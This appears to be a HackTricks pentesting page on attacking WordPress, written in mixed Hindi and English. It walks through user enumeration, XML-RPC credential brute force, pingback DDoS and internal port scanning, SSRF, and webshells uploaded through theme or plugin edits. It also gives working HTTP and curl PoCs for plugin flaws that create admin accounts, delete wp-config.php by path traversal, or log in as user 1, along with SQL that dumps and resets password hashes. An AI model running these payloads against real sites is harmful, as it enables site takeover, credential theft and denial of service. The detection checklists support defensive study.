Wordpress

Reading time: 39 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

बुनियादी जानकारी

  • अपलोड की गई फाइलें जाती हैं: http://10.10.10.10/wp-content/uploads/2018/08/a.txt

  • थीम फाइलें /wp-content/themes/ में मिलती हैं, इसलिए अगर आप थीम के कुछ php को बदलकर RCE प्राप्त करना चाहते हैं तो आप शायद उस पथ का उपयोग करेंगे। उदाहरण के लिए: theme twentytwelve का उपयोग करके आप 404.php फ़ाइल में पहुँच सकते हैं: /wp-content/themes/twentytwelve/404.php

  • एक और उपयोगी url हो सकता है: /wp-content/themes/default/404.php

  • wp-config.php में आप डेटाबेस का root पासवर्ड पा सकते हैं।

  • जांचने के लिए डिफ़ॉल्ट लॉगिन पथ: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

मुख्य WordPress फाइलें

  • index.php
  • license.txt में उपयोगी जानकारी होती है जैसे इंस्टॉल की गई WordPress का संस्करण।
  • wp-activate.php का उपयोग नए WordPress साइट सेटअप के समय ईमेल सक्रियकरण प्रक्रिया के लिए होता है।
  • लॉगिन फ़ोल्डर्स (छुपाने के लिए नाम बदला गया हो सकते हैं):
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php एक फ़ाइल है जो WordPress की एक सुविधा को दर्शाती है जो HTTP को ट्रांसपोर्ट मैकेनिज़्म और XML को एनकोडिंग मैकेनिज़्म के रूप में उपयोग करके डेटा संचार सक्षम करती है। इस प्रकार के संचार को WordPress के REST API द्वारा प्रतिस्थापित किया गया है।
  • wp-content फ़ोल्डर मुख्य निर्देशिका है जहाँ plugins और themes संग्रहीत होते हैं।
  • wp-content/uploads/ वह निर्देशिका है जहाँ प्लेटफ़ॉर्म पर अपलोड की गई किसी भी फ़ाइल को संग्रहित किया जाता है।
  • wp-includes/ यह वह निर्देशिका है जहाँ कोर फाइलें संग्रहीत होती हैं, जैसे सर्टिफिकेट, फॉन्ट, JavaScript फ़ाइलें, और विजेट।
  • wp-sitemap.xml WordPress के संस्करण 5.5 और उससे ऊपर में, WordPress सभी सार्वजनिक पोस्ट और सार्वजनिक रूप से क्वेरी करने योग्य पोस्ट प्रकार और टैक्सोनॉमी के साथ एक sitemap XML फ़ाइल जेनरेट करता है।

Post exploitation

  • wp-config.php फ़ाइल में WordPress को डेटाबेस से कनेक्ट करने के लिए आवश्यक जानकारी होती है, जैसे डेटाबेस नाम, डेटाबेस होस्ट, username और password, authentication keys और salts, और डेटाबेस टेबल प्रीफ़िक्स। इस कॉन्फ़िगरेशन फ़ाइल का उपयोग DEBUG मोड सक्रिय करने के लिए भी किया जा सकता है, जो troubleshooting में उपयोगी हो सकता है।

उपयोगकर्ता अनुमतियाँ

  • Administrator
  • Editor: अपने और दूसरों के पोस्ट प्रकाशित और प्रबंधित करता है
  • Author: अपने स्वयं के पोस्ट प्रकाशित और प्रबंधित करता है
  • Contributor: पोस्ट लिखता और प्रबंधित करता है पर उन्हें प्रकाशित नहीं कर सकता
  • Subscriber: पोस्ट ब्राउज़ करता है और अपनी प्रोफ़ाइल संपादित कर सकता है

Passive Enumeration

Get WordPress version

Check if you can find the files /license.txt or /readme.html

Inside the स्रोत कोड of the page (example from https://wordpress.org/support/article/pages/):

  • grep
bash
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • CSS लिंक फ़ाइलें

  • JavaScript फ़ाइलें

प्लगइन्स प्राप्त करें

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

थीम प्राप्त करें

bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

सामान्य रूप से संस्करण निकालें

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

सक्रिय अनुक्रमण

Plugins और Themes

आप संभवतः सभी Plugins और Themes खोज पाने में सक्षम नहीं होंगे। उन्हें खोजने के लिए, आपको actively Brute Force a list of Plugins and Themes करने की आवश्यकता होगी (खुशकिस्मती से हमारे लिए ऐसे स्वचालित टूल्स मौजूद हैं जिनमें ये सूचियाँ होती हैं)।

Users

  • ID Brute: Brute Forcing द्वारा users IDs निकाल कर आप किसी WordPress साइट के वैध users प्राप्त कर सकते हैं:
bash
curl -s -I -X GET http://blog.example.com/?author=1

यदि प्रतिक्रियाएँ 200 या 30X हैं, तो इसका मतलब है कि id मान्य है। यदि प्रतिक्रिया 400 है, तो id अमान्य है।

  • wp-json: आप उपयोगकर्ताओं के बारे में जानकारी प्राप्त करने के लिए क्वेरी करके भी कोशिश कर सकते हैं:
bash
curl http://blog.example.com/wp-json/wp/v2/users

एक और /wp-json/ endpoint जो उपयोगकर्ताओं के बारे में कुछ जानकारी प्रकट कर सकता है:

bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Note that this endpoint only exposes users that have made a post. केवल उन users की जानकारी प्रदान की जाएगी जिनके लिए यह feature सक्षम है।

Also note that /wp-json/wp/v2/pages could leak IP addresses.

  • Login username enumeration: जब /wp-login.php पर लॉगिन करते समय message different होता है — यह इस बात का संकेत देता है कि username exists or not

XML-RPC

यदि xml-rpc.php सक्रिय है तो आप credentials brute-force कर सकते हैं या इसका उपयोग अन्य resources पर DoS attacks लॉन्च करने के लिए कर सकते हैं। (आप इस प्रक्रिया को उदाहरण के लिए using this से automate कर सकते हैं)।

To see if it is active try to access to /xmlrpc.php and send this request:

जांचें

html
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce

wp.getUserBlogs, wp.getCategories या metaWeblog.getUsersBlogs ऐसे कुछ methods हैं जिनका उपयोग credentials को brute-force करने के लिए किया जा सकता है। यदि आप इनमें से कोई भी पा लेते हैं तो आप कुछ इस तरह भेज सकते हैं:

html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

संदेश "Incorrect username or password" एक 200 code response के अंदर तब दिखाई देना चाहिए जब credentials वैध नहीं हैं।

सही credentials का उपयोग करके आप एक file अपलोड कर सकते हैं। response में path दिखाई देगा (https://gist.github.com/georgestephanis/5681982)

html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Also there is a faster way to brute-force credentials using system.multicall as you can try several credentials on the same request:

2FA बायपास

यह तरीका प्रोग्राम्स के लिए है न कि इंसानों के लिए, और पुराना होने के कारण यह 2FA को सपोर्ट नहीं करता। इसलिए, अगर आपके पास वैध क्रेडेंशियल्स हैं पर मुख्य लॉगिन 2FA से सुरक्षित है, आप xmlrpc.php का दुरुपयोग करके उन क्रेडेंशियल्स से 2FA बायपास करते हुए लॉगिन कर सकते हैं। ध्यान रखें कि आप कंसोल के माध्यम से जो सभी क्रियाएँ कर सकते हैं वे यहाँ संभव नहीं होंगी, पर आप फिर भी RCE तक पहुँच सकते हैं जैसा Ippsec ने https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s में समझाया है

DDoS or port scanning

If you can find the method pingback.ping inside the list you can make the Wordpress send an arbitrary request to any host/port.
This can be used to ask हज़ारों of Wordpress साइट्स to एक तकाँच (one location) को एक्सेस करने को कहें (so a DDoS is caused in that location) or you can use it to make Wordpress को स्कैन करने के लिए किसी आंतरिक नेटवर्क को निर्देशित कर सकते हैं (आप कोई भी पोर्ट निर्दिष्ट कर सकते हैं)।

html
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

यदि आपको faultCode का मान 0 (17) से बड़ा मिलता है, तो इसका मतलब है कि पोर्ट खुला है।

पिछले अनुभाग में system.multicall के उपयोग को देखें ताकि यह सीख सकें कि इस विधि का दुरुपयोग करके कैसे DDoS किया जा सकता है।

DDoS

html
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

यह फ़ाइल आमतौर पर Wordpress साइट की रूट में मौजूद होती है: /wp-cron.php
जब इस फ़ाइल को accessed किया जाता है तो एक "heavy" MySQL query किया जाता है, इसलिए इसे attackers द्वारा cause करने के लिए उपयोग किया जा सकता है DoS.
इसके अलावा, डिफ़ॉल्ट रूप से, wp-cron.php को हर पेज लोड पर कॉल किया जाता है (जब भी कोई client किसी भी Wordpress पेज को requests करता है), जो high-traffic साइट्स पर समस्याएँ (DoS) पैदा कर सकता है।

सुझाव दिया जाता है कि Wp-Cron को disable कर दिया जाए और host के अंदर एक वास्तविक cronjob बनाया जाए जो आवश्यक क्रियाएँ नियमित अंतराल पर करे (बिना समस्याएँ पैदा किए).

/wp-json/oembed/1.0/proxy - SSRF

इस URL को access करने की कोशिश करें: https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net और Worpress साइट आपके पास request कर सकती है।

This is the response when it doesn't work:

SSRF

https://github.com/t0gu/quickpress/blob/master/core/requests.go

यह tool जाँचता है कि methodName: pingback.ping और path /wp-json/oembed/1.0/proxy मौजूद है और यदि मौजूद हो तो यह उन्हें exploit करने की कोशिश करता है।

ऑटोमैटेड टूल्स

bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

एक bit ओवरराइट करके पहुँच प्राप्त करें

यह असल हमले से ज्यादा एक जिज्ञासा है। CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man में आप किसी भी wordpress फ़ाइल का 1 bit पलट सकते थे। तो आप फाइल /var/www/html/wp-includes/user.php की स्थिति 5389 का bit पलटकर NOT (!) ऑपरेशन को NOP कर सकते थे।

php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

पैनल RCE

थीम में इस्तेमाल किए गए php में संशोधन (admin credentials needed)

Appearance → Theme Editor → 404 Template (दाएँ तरफ)

php shell के लिए सामग्री बदलें:

इंटरनेट पर खोजें कि आप उस अपडेट किए गए पेज तक कैसे पहुँच सकते हैं। इस मामले में आपको यहां एक्सेस करना होगा: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

आप उपयोग कर सकते हैं:

bash
use exploit/unix/webapp/wp_admin_shell_upload

सेशन प्राप्त करने के लिए।

Plugin RCE

PHP plugin

It may be possible to upload .php files as a plugin.
.php फाइलों को plugin के रूप में अपलोड करना संभव हो सकता है।
Create your php backdoor using for example: उदाहरण के लिए अपना php backdoor बनाएं:

Then add a new plugin: फिर एक नया plugin जोड़ें:

Upload plugin and press Install Now: Plugin अपलोड करें और Install Now दबाएँ:

Click on Procced: Procced पर क्लिक करें:

Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded: संभवतः इससे कुछ भी दिखाई नहीं देगा, लेकिन अगर आप Media में जाएँगे, तो आपको आपका shell अपलोड दिखाई देगा:

Access it and you will see the URL to execute the reverse shell: इसे एक्सेस करें और आपको reverse shell निष्पादित करने के लिए URL दिखाई देगा:

Uploading and activating malicious plugin

Malicious plugin को अपलोड और सक्रिय करना

This method involves the installation of a malicious plugin known to be vulnerable and can be exploited to obtain a web shell. This process is carried out through the WordPress dashboard as follows: यह विधि एक ऐसी malicious plugin की installation को शामिल करती है जो ज्ञात रूप से vulnerable है और जिसका प्रयोग web shell प्राप्त करने के लिए exploit किया जा सकता है। यह प्रक्रिया WordPress dashboard के माध्यम से निम्न प्रकार की जाती है:

  1. Plugin Acquisition: The plugin is obtained from a source like Exploit DB like here.
  2. Plugin Acquisition: plugin को Exploit DB जैसे स्रोत से प्राप्त किया जाता है, जैसे here.
  3. Plugin Installation:
  • Navigate to the WordPress dashboard, then go to Dashboard > Plugins > Upload Plugin.
  • Upload the zip file of the downloaded plugin.
  1. Plugin Installation:
  • WordPress dashboard पर जाएँ, फिर Dashboard > Plugins > Upload Plugin पर जाएँ।
  • डाउनलोड किए गए plugin का zip फ़ाइल अपलोड करें।
  1. Plugin Activation: Once the plugin is successfully installed, it must be activated through the dashboard.
  2. Plugin Activation: एक बार plugin सफलतापूर्वक install हो जाने पर, इसे dashboard के माध्यम से activate करना होगा।
  3. Exploitation:
  • With the plugin "reflex-gallery" installed and activated, it can be exploited as it is known to be vulnerable.
  • The Metasploit framework provides an exploit for this vulnerability. By loading the appropriate module and executing specific commands, a meterpreter session can be established, granting unauthorized access to the site.
  • It's noted that this is just one of the many methods to exploit a WordPress site.
  1. Exploitation:
  • "reflex-gallery" plugin install और activate होने पर exploit किया जा सकता है क्योंकि यह ज्ञात रूप से vulnerable है।
  • Metasploit framework इस vulnerability के लिए एक exploit प्रदान करता है। उपयुक्त module लोड करके और specific commands execute करके, एक meterpreter session स्थापित किया जा सकता है, जो साइट तक unauthorized access प्रदान करता है।
  • ध्यान दें कि यह WordPress साइट को exploit करने के कई तरीकों में से केवल एक है।

The content includes visual aids depicting the steps in the WordPress dashboard for installing and activating the plugin. However, it's important to note that exploiting vulnerabilities in this manner is illegal and unethical without proper authorization. This information should be used responsibly and only in a legal context, such as penetration testing with explicit permission. इस सामग्री में plugin को install और activate करने के WordPress dashboard के चरणों को दर्शाने वाले दृश्य साधन शामिल हैं। हालांकि, यह ध्यान रखना महत्वपूर्ण है कि बिना उचित authorization के vulnerabilities को इस तरह exploit करना illegal और unethical है। इस जानकारी का उपयोग जिम्मेदारी से और केवल कानूनी संदर्भ में किया जाना चाहिए, जैसे penetration testing के दौरान स्पष्ट अनुमति के साथ।

For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/

From XSS to RCE

XSS से RCE

  • WPXStrike: WPXStrike is a script designed to escalate a Cross-Site Scripting (XSS) vulnerability to Remote Code Execution (RCE) or other's criticals vulnerabilities in WordPress. For more info check this post. It provides support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:
  • WPXStrike: WPXStrike एक ऐसा script है जो Cross-Site Scripting (XSS) vulnerability को Remote Code Execution (RCE) या अन्य critical vulnerabilities में escalate करने के लिए design किया गया है WordPress में। अधिक जानकारी के लिए देखें this post. यह Wordpress Versions 6.X.X, 5.X.X और 4.X.X के लिए support प्रदान करता है और निम्न की अनुमति देता है:
  • Privilege Escalation: Creates an user in WordPress.
  • Privilege Escalation: WordPress में एक user बनाता है।
  • (RCE) Custom Plugin (backdoor) Upload: Upload your custom plugin (backdoor) to WordPress.
  • (RCE) Custom Plugin (backdoor) Upload: अपना custom plugin (backdoor) WordPress पर upload करें।
  • (RCE) Built-In Plugin Edit: Edit a Built-In Plugins in WordPress.
  • (RCE) Built-In Plugin Edit: WordPress में Built-In Plugins को edit करें।
  • (RCE) Built-In Theme Edit: Edit a Built-In Themes in WordPress.
  • (RCE) Built-In Theme Edit: WordPress में Built-In Themes को edit करें।
  • (Custom) Custom Exploits: Custom Exploits for Third-Party WordPress Plugins/Themes.
  • (Custom) Custom Exploits: Third-Party WordPress Plugins/Themes के लिए Custom Exploits।

Post Exploitation

Post Exploitation

Extract usernames and passwords: यूज़रनेम और पासवर्ड निकालें:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

admin password बदलें:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Wordpress प्लगइन्स Pentest

हमला सतह

किस तरह एक Wordpress plugin अपनी functionality को एक्सपोज़ कर सकता है यह जानना उसकी functionality में मौजूद vulnerabilities खोजने के लिए महत्वपूर्ण है। आप नीचे दिए गए बुलेट पॉइंट्स में देख सकते हैं कि एक plugin किस तरह functionality एक्सपोज़ कर सकता है और कुछ vulnerable plugins के उदाहरण इस blog post में दिए गए हैं।

  • wp_ajax

    Plugin द्वारा functions एक्सपोज़ करने के तरीकों में से एक तरीका AJAX handlers के माध्यम से होता है। इनमें logic, authorization, या authentication बग हो सकते हैं। इसके अलावा, अक्सर ऐसा होता है कि ये functions authentication और authorization दोनों को एक wordpress nonce की मौजूदगी पर आधारित कर देते हैं जो Wordpress instance में प्रमाणीकृत किसी भी उपयोगकर्ता के पास हो सकता है (उसकी role की परवाह किए बिना)।

    ये वे functions हैं जिनका उपयोग plugin में किसी function को एक्सपोज़ करने के लिए किया जा सकता है:

php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

nopriv का उपयोग endpoint को किसी भी उपयोगकर्ता के लिए एक्सेस योग्य बना देता है (यहाँ तक कि बिना प्रमाणीकृत उपयोगकर्ता भी)।

caution

इसके अलावा, यदि फ़ंक्शन केवल wp_verify_nonce फ़ंक्शन के साथ उपयोगकर्ता के प्राधिकरण की जाँच कर रहा है, तो यह फ़ंक्शन केवल यह जाँचता है कि उपयोगकर्ता लॉग इन है; यह आम तौर पर उपयोगकर्ता की role की जाँच नहीं करता। इसलिए कम-विशेषाधिकार वाले उपयोगकर्ताओं के पास उच्च-विशेषाधिकार वाली क्रियाओं तक पहुँच हो सकती है।

  • REST API

यह भी संभव है कि wordpress से register_rest_route फ़ंक्शन का उपयोग करके REST API के ज़रिए फ़ंक्शन्स को एक्सपोज़ किया जाए:

php
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

The permission_callback एक callback फ़ंक्शन है जो जांचता है कि कोई दिया गया user API method को कॉल करने के लिए authorized है या नहीं।

अगर built-in __return_true function का उपयोग किया गया है, तो यह user permissions चेक को बस स्किप कर देगा।

  • php फ़ाइल तक प्रत्यक्ष पहुँच

बेशक, Wordpress PHP का उपयोग करता है और plugins के अंदर की फ़ाइलें वेब से सीधे पहुँच योग्य होती हैं। इसलिए, अगर कोई plugin किसी भी vulnerable functionality को एक्सपोज़ कर रहा है जो केवल फ़ाइल तक पहुँचने मात्र से ट्रिगर हो जाती है, तो वह किसी भी user द्वारा exploit की जा सकती है।

Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)

कुछ plugins internal integrations या reverse proxies के लिए “trusted header” shortcuts लागू करते हैं और फिर REST requests के लिए current user context सेट करने के लिए उस header का उपयोग करते हैं। यदि header को किसी upstream component द्वारा cryptographically request से बाँधा नहीं गया है, तो एक attacker इसे spoof कर सकता है और privileged REST routes को administrator के रूप में हिट कर सकता है।

  • प्रभाव: core users REST route के माध्यम से नया administrator बनाकर unauthenticated privilege escalation के जरिए admin अधिकार प्राप्त होना।
  • Example header: X-Wcpay-Platform-Checkout-User: 1 (user ID 1 को जबरदस्ती लागू करता है, आम तौर पर पहला administrator account).
  • Exploited route: POST /wp-json/wp/v2/users with an elevated role array.

PoC

http
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114

{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}

Why it works

  • प्लगइन एक क्लाइंट-निहित हेडर को authentication state से मैप करता है और capability checks को बायपास कर देता है।
  • WordPress core इस route के लिए create_users capability की उम्मीद करता है; प्लगइन hack इसे बायपास कर देता है हेडर से सीधे current user context सेट करके।

Expected success indicators

  • HTTP 201 एक JSON बॉडी के साथ जो बनाए गए user का वर्णन करती है।
  • एक नया admin user दिखाई देगा wp-admin/users.php में।

Detection checklist

  • getallheaders(), $_SERVER['HTTP_...'], या ऐसे vendor SDKs के लिए grep करें जो कस्टम हेडर्स पढ़कर user context सेट करते हैं (उदा., wp_set_current_user(), wp_set_auth_cookie()).
  • उन REST registrations की समीक्षा करें जिनके privileged callbacks में मजबूत permission_callback चेक नहीं हैं और जो request headers पर निर्भर करते हैं।
  • ऐसे REST handlers में core user-management functions (wp_insert_user, wp_create_user) के उपयोग ढूंढें जो केवल header values से गेट किए गए हैं।

wp_ajax_nopriv के माध्यम से अनप्रमाणीकृत मनमाना फ़ाइल हटाना (Litho Theme <= 3.0)

WordPress themes और plugins अक्सर wp_ajax_ और wp_ajax_nopriv_ hooks के माध्यम से AJAX handlers एक्सपोज़ करते हैं। जब nopriv variant का इस्तेमाल होता है तो callback अनप्रमाणीकृत विज़िटर द्वारा पहुंच योग्य हो जाता है, इसलिए किसी भी संवेदनशील कार्रवाई के लिए अतिरिक्त रूप से निम्न लागू होना चाहिए:

  1. एक capability check (जैसे current_user_can() या कम से कम is_user_logged_in()), और
  2. एक CSRF nonce जो check_ajax_referer() / wp_verify_nonce() से validate किया गया हो, और
  3. कठोर इनपुट sanitisation / validation

The Litho multipurpose theme (< 3.1) forgot those 3 controls in the Remove Font Family feature and ended up shipping the following code (simplified):

php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir  = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();

if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );

इस स्निपेट द्वारा पेश की गई समस्याएँ:

  • अनप्रमाणित पहुँचwp_ajax_nopriv_ hook रजिस्टर किया गया है।
  • Nonce / capability चेक नहीं – कोई भी आगंतुक इस एंडपॉइंट को हिट कर सकता है।
  • पाथ सैनीटाइज़ेशन नहीं – उपयोगकर्ता-नियंत्रित fontfamily स्ट्रिंग को फ़िल्टर किए बिना फाइलसिस्टम पाथ के साथ जोड़ दिया जाता है, जिससे क्लासिक ../../ traversal संभव होता है।

शोषण

एक हमलावर एकल HTTP POST अनुरोध भेजकर किसी भी फ़ाइल या डायरेक्टरी को uploads बेस डायरेक्टरी के नीचे (आमतौर पर <wp-root>/wp-content/uploads/) से हटा सकता है:

bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'

Because wp-config.php lives outside uploads, four ../ sequences are enough on a default installation. Deleting wp-config.php forces WordPress into the installation wizard on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).

Other impactful targets include plugin/theme .php files (to break security plugins) or .htaccess rules.

Detection checklist

  • कोई भी add_action( 'wp_ajax_nopriv_...') callback जो filesystem helpers (copy(), unlink(), $wp_filesystem->delete(), आदि) को कॉल करता है।
  • paths में unsanitised user input का concatenation (देखें $_POST, $_GET, $_REQUEST)।
  • check_ajax_referer() और current_user_can()/is_user_logged_in() की अनुपस्थिति।

Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")

Many plugins implement a "view as role" or temporary role-switching feature by saving the original role(s) in user meta so they can be restored later. If the restoration path relies only on request parameters (e.g., $_REQUEST['reset-for']) and a plugin-maintained list without checking capabilities and a valid nonce, this becomes a vertical privilege escalation.

A real-world example was found in the Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). The reset branch restored roles based on reset-for=<username> if the username appeared in an internal array $options['viewing_admin_as_role_are'], but performed neither a current_user_can() check nor a nonce verification before removing current roles and re-adding the saved roles from user meta _asenha_view_admin_as_original_roles:

php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];

if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}

यह क्यों exploitable है

  • सर्वर-साइड प्राधिकरण के बिना $_REQUEST['reset-for'] और एक plugin विकल्प पर भरोसा करता है।
  • यदि किसी उपयोगकर्ता के पास पहले _asenha_view_admin_as_original_roles में higher privileges संग्रहीत थे और उन्हें downgraded किया गया, तो वे reset path को हिट करके उन्हें restore कर सकते हैं।
  • कुछ deployments में, कोई भी authenticated user viewing_admin_as_role_are में अभी भी मौजूद किसी अन्य username के लिए reset ट्रिगर कर सकता है (broken authorization).

Exploitation (example)

bash
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'

On vulnerable builds this removes current roles and re-adds the saved original roles (e.g., administrator), effectively escalating privileges.

Detection checklist

  • Look for role-switching features that persist “original roles” in user meta (e.g., _asenha_view_admin_as_original_roles).
  • Identify reset/restore paths that:
  • Read usernames from $_REQUEST / $_GET / $_POST.
  • Modify roles via add_role() / remove_role() without current_user_can() and wp_verify_nonce() / check_admin_referer().
  • Authorize based on a plugin option array (e.g., viewing_admin_as_role_are) instead of the actor’s capabilities.

Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)

Some plugins wire user-switching helpers to the public init hook and derive identity from a client-controlled cookie. If the code calls wp_set_auth_cookie() without verifying authentication, capability and a valid nonce, any unauthenticated visitor can force login as an arbitrary user ID.

Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):

php
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');

function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid);  // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}

यह शोषणीय क्यों है

  • सार्वजनिक init hook हैंडलर को अनप्रमाणित उपयोगकर्ताओं के लिए पहुँच योग्य बनाता है (कोई is_user_logged_in() गार्ड नहीं)।
  • पहचान क्लाइंट-परिवर्तनीय cookie (original_user_id) से प्राप्त होती है।
  • wp_set_auth_cookie($uid) को सीधे कॉल करने से अनुरोधकर्ता उस यूजर के रूप में लॉग इन हो जाता है बिना किसी capability/nonce checks के।

शोषण (अनप्रमाणित)

http
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close

WAF विचार — WordPress/plugin CVEs के लिए

Generic edge/server WAFs व्यापक पैटर्न (SQLi, XSS, LFI) के लिए अनुकूलित होते हैं। कई high‑impact WordPress/plugin दोष application-specific logic/auth बग होते हैं जो तब तक सामान्य ट्रैफिक की तरह दिखते हैं जब तक engine WordPress routes और plugin semantics को समझ नहीं लेता।

Offensive notes

  • clean payloads के साथ plugin-specific endpoints को टार्गेट करें: admin-ajax.php?action=..., wp-json/<namespace>/<route>, custom file handlers, shortcodes.
  • पहले unauth paths का परीक्षण करें (AJAX nopriv, REST with permissive permission_callback, public shortcodes). Default payloads अक्सर बिना obfuscation के सफल होते हैं।
  • आम high-impact मामलों में: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.

Defensive notes

  • plugin CVEs की रक्षा के लिए generic WAF signatures पर भरोसा न करें। application-layer, vulnerability-specific virtual patches लागू करें या जल्दी अपडेट करें।
  • code में negative regex filters की बजाय positive-security checks (capabilities, nonces, strict input validation) को प्राथमिकता दें।

WordPress सुरक्षा

नियमित अपडेट

सुनिश्चित करें कि WordPress, plugins, और themes अपडेटेड हैं। साथ ही पुष्टि करें कि automated updating wp-config.php में सक्षम है:

bash
